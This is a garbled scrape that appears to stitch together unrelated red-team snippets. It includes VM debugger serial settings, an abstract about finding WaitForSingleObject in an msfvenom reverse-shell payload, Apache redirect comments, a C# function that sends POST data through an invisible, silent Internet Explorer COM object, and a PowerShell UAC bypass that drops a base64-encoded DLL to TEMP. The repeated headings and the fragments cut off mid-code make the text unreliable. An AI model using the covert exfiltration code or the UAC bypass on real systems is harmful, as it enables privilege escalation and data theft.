big_helper big-helper

Open the debugger VM's .vmx file. delete the existing serial0 lines (used for printing, not needed) add these lines:

serial0.present = "TRUE"
serial0.pipe.endPoint = "client"
serial0.fileType = "pipe"
serial0.yieldOnMsrRead = "TRUE"
serial0.tryNoRxLoss = "FALSE"
serial0.startConnected = "TRUE"

Looking for `WaitForSingleObject` call within modern msfvenom generated payload.

Abstract

This is a document explaining how to locate WaitForSingleObject(..., INFINITE) within msfvenom's (4.12.23-dev) generated payload and how to fix the payload's glitches. It goes through the analysis of a windows/shell_reverse_tcp payload, touching issues like stack alignment, WaitForSingleObject locating & patching. It has been written when I realised there are many topics on the Offensive-Security OSCE/CTP forums touching problem of finding this particular Windows API. Since RE is one of my stronger FU's I decided to write down my explanation of the subject.

Contents:

	#
	# TO-DO: set \|DESTINATIONURL\| below to be whatever you want e.g. www.google.com. Do not include "http(s)://" as a prefix. All matching requests will be sent to that url. Thanks @Meatballs__!
	#
	# Note this version requires Apache 2.4+
	#
	# Save this file into something like /etc/apache2/redirect.rules.
	# Then in your site's apache conf file (in /etc/apache2/sites-avaiable/), put this statement somewhere near the bottom
	#
	# Include /etc/apache2/redirect.rules
	#

	// sample function that takes in a destination server, POST data, and custom HTTP request headers
	private string SendData(string dst, byte[] postData, string customHeaders)
	{
	Type com_type = Type.GetTypeFromCLSID(new Guid("0002DF01-0000-0000-C000-000000000046"));
	object IE = Activator.CreateInstance(com_type);

	object[] falseArr = new object[] { false };
	object[] trueArr = new object[] { true };
	com_type.InvokeMember("Visible", System.Reflection.BindingFlags.SetProperty, null, IE, falseArr);
	com_type.InvokeMember("Silent", System.Reflection.BindingFlags.SetProperty, null, IE, trueArr);

	# Bypass UAC with a .NET profiler DLL

	# GUID, path and content
	$GUID = '{' + [guid]::NewGuid() + '}'
	$DllPath = $env:TEMP + "\test.dll"
	$DllBytes64 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADXHurFk3+ElpN/hJaTf4SWsR+Fl5B/hJaTf4WWkX+EligejJeRf4SWKB6Gl5J/hJZSaWNok3+ElgAAAAAAAAAAUEUAAGSGAwAgMyBZAAAAAAAAAADwACIgCwIOCgACAAAABgAAAAAAAAAQAAAAEAAAAAAAgAEAAAAAEAAAAAIAAAYAAAAAAAAABgAAAAAAAAAAQAAAAAQAAAAAAAACAGABAAAQAAAAAAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAAAAAAAAAAAA4CEAACgAAAAAAAAAAAAAAAAwAAAMAAAAAAAAAAAAAAAAAAAAAAAAACAgAABwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAA7AAAAABAAAAACAAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAARgIAAAAgAAAABAAAAAYAAAAAAAAAAAAAAAAAAEAAAEAucGRhdGEAAAwAAAAAMAAAAAIAAAAKAAAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

big_helper big-helper

Looking for WaitForSingleObject call within modern msfvenom generated payload.

Looking for `WaitForSingleObject` call within modern msfvenom generated payload.